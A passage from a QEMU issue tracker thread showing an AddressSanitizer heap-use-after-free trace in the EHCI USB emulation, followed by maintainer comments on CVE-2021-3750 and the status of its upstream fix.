    #6 0x55cda6c0b504 in ehci_work_bh ../hw/usb/hcd-ehci.c:2327
    #7 0x55cda7c592df in aio_bh_call ../util/async.c:141
    #8 0x55cda7c599f8 in aio_bh_poll ../util/async.c:169
    #9 0x55cda7c98bb7 in aio_dispatch ../util/aio-posix.c:381
    #10 0x55cda7c5aea5 in aio_ctx_dispatch ../util/async.c:311
    #11 0x7f7f886748ea in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x558ea)
    #12 0x55cda7c575f5 in glib_pollfds_poll ../util/main-loop.c:232
    #13 0x55cda7c577d6 in os_host_main_loop_wait ../util/main-loop.c:255
    #14 0x55cda7c57ad8 in main_loop_wait ../util/main-loop.c:531
    #15 0x55cda6f8caee in qemu_main_loop ../softmmu/runstate.c:726
    #16 0x55cda60c0b39 in main ../softmmu/main.c:50
    #17 0x7f7f87935564 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x28564)
    #18 0x55cda60c0a4d in _start (/home/qiuhao/qemu/build_debug/qemu-system-x86_64+0x2c13a4d)

0x611000059568 is located 104 bytes inside of 248-byte region [0x611000059500,0x6110000595f8)
```

```
freed by thread T0 here:
    #0 0x7f7f88b498f7 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:127
    #1 0x55cda6bf4105 in ehci_free_packet ../hw/usb/hcd-ehci.c:540
    #2 0x55cda6bf4c36 in ehci_cancel_queue ../hw/usb/hcd-ehci.c:583
    #3 0x55cda6bf508b in ehci_free_queue ../hw/usb/hcd-ehci.c:610
    #4 0x55cda6bf614f in ehci_queues_rip_device ../hw/usb/hcd-ehci.c:673
    #5 0x55cda6bf7250 in ehci_detach ../hw/usb/hcd-ehci.c:732
    #6 0x55cda6a40e29 in usb_detach ../hw/usb/core.c:70
    #7 0x55cda6bf91d6 in ehci_reset ../hw/usb/hcd-ehci.c:862
    #8 0x55cda6bfb8fa in ehci_opreg_write ../hw/usb/hcd-ehci.c:1031
    #9 0x55cda73dae8b in memory_region_write_accessor ../softmmu/memory.c:492
    #10 0x55cda73db326 in access_with_adjusted_size ../softmmu/memory.c:554
    #11 0x55cda73e85bb in memory_region_dispatch_write ../softmmu/memory.c:1504
    #12 0x55cda7300930 in flatview_write_continue ../softmmu/physmem.c:2778
    #13 0x55cda7300d06 in flatview_write ../softmmu/physmem.c:2818
    #14 0x55cda7301684 in address_space_write ../softmmu/physmem.c:2910
    #15 0x55cda73036ba in address_space_unmap ../softmmu/physmem.c:3236
    #16 0x55cda62141ee in dma_memory_unmap /home/qiuhao/qemu/include/sysemu/dma.h:226
    #17 0x55cda6214c43 in usb_packet_unmap ../hw/usb/libhw.c:65
    #18 0x55cda62147e1 in usb_packet_map ../hw/usb/libhw.c:54
    #19 0x55cda6c00b24 in ehci_execute ../hw/usb/hcd-ehci.c:1375
    #20 0x55cda6c07f0a in ehci_state_execute ../hw/usb/hcd-ehci.c:1949
    #21 0x55cda6c09287 in ehci_advance_state ../hw/usb/hcd-ehci.c:2090
    #22 0x55cda6c097f7 in ehci_advance_async_state ../hw/usb/hcd-ehci.c:2159
    #23 0x55cda6c0b504 in ehci_work_bh ../hw/usb/hcd-ehci.c:2327
    #24 0x55cda7c592df in aio_bh_call ../util/async.c:141
    #25 0x55cda7c599f8 in aio_bh_poll ../util/async.c:169
    #26 0x55cda7c98bb7 in aio_dispatch ../util/aio-posix.c:381
    #27 0x55cda7c5aea5 in aio_ctx_dispatch ../util/async.c:311
    #28 0x7f7f886748ea in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x558ea)

previously allocated by thread T0 here:
    #0 0x7f7f88b49e17 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154
    #1 0x7f7f8867d300 in g_malloc0 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5e300)
    #2 0x55cda6c066b4 in ehci_state_fetchqtd ../hw/usb/hcd-ehci.c:1851
    #3 0x55cda6c09209 in ehci_advance_state ../hw/usb/hcd-ehci.c:2080
    #4 0x55cda6c097f7 in ehci_advance_async_state ../hw/usb/hcd-ehci.c:2159
    #5 0x55cda6c0b504 in ehci_work_bh ../hw/usb/hcd-ehci.c:2327
    #6 0x55cda7c592df in aio_bh_call ../util/async.c:141
    #7 0x55cda7c599f8 in aio_bh_poll ../util/async.c:169
    #8 0x55cda7c98bb7 in aio_dispatch ../util/aio-posix.c:381
    #9 0x55cda7c5aea5 in aio_ctx_dispatch ../util/async.c:311
    #10 0x7f7f886748ea in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x558ea)

SUMMARY: AddressSanitizer: heap-use-after-free ../hw/usb/libhw.c:64 in usb_packet_unmap
Shadow bytes around the buggy address:
  0x0c2280003250: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c2280003260: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c2280003270: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c2280003280: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c2280003290: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
=>0x0c22800032a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd
  0x0c22800032b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
  0x0c22800032c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c22800032d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c22800032e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c22800032f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==73221==ABORTING
```

Mauro Matteo Cascella @mauromatteo.cascella · 1 year ago

CVE-2021-3750 has been assigned for this issue. @QiuhaoLi are you going to post your patch to qemu-devel for review?

Thanks.

Qiuhao Li @QiuhaoLi · 1 year ago

No, this is an ad-hoc solution. I think Philippe's patch is better.

Thanks.

Please register or sign in to reply

Mauro Matteo Cascella mentioned in issue #782 (closed) 11 months ago

Alexander Bulekov changed the description 3 months ago ·

Ca Hu @cahu_suse · 3 weeks ago

Hi, is a fix already upstream? If so, could someone point me to it? Thanks!

Mauro Matteo Cascella @mauromatteo.cascella · 3 weeks ago

Philippe's patchset has landed upstream: 3ab6fdc9. However, EHCI hasn't been updated to take advantage of the new MemTxAttrs::memory AFAICS, so I'd assume to be still affected by this CVE.

Alexander Bulekov @a1xndr · 3 weeks ago (Author) (Reporter)

I am also working on https://lore.kernel.org/all/20221028191648.964076-1-alxndr@bu.edu/ which should fix this, but it will not make it into 7.2

Please register or sign in to reply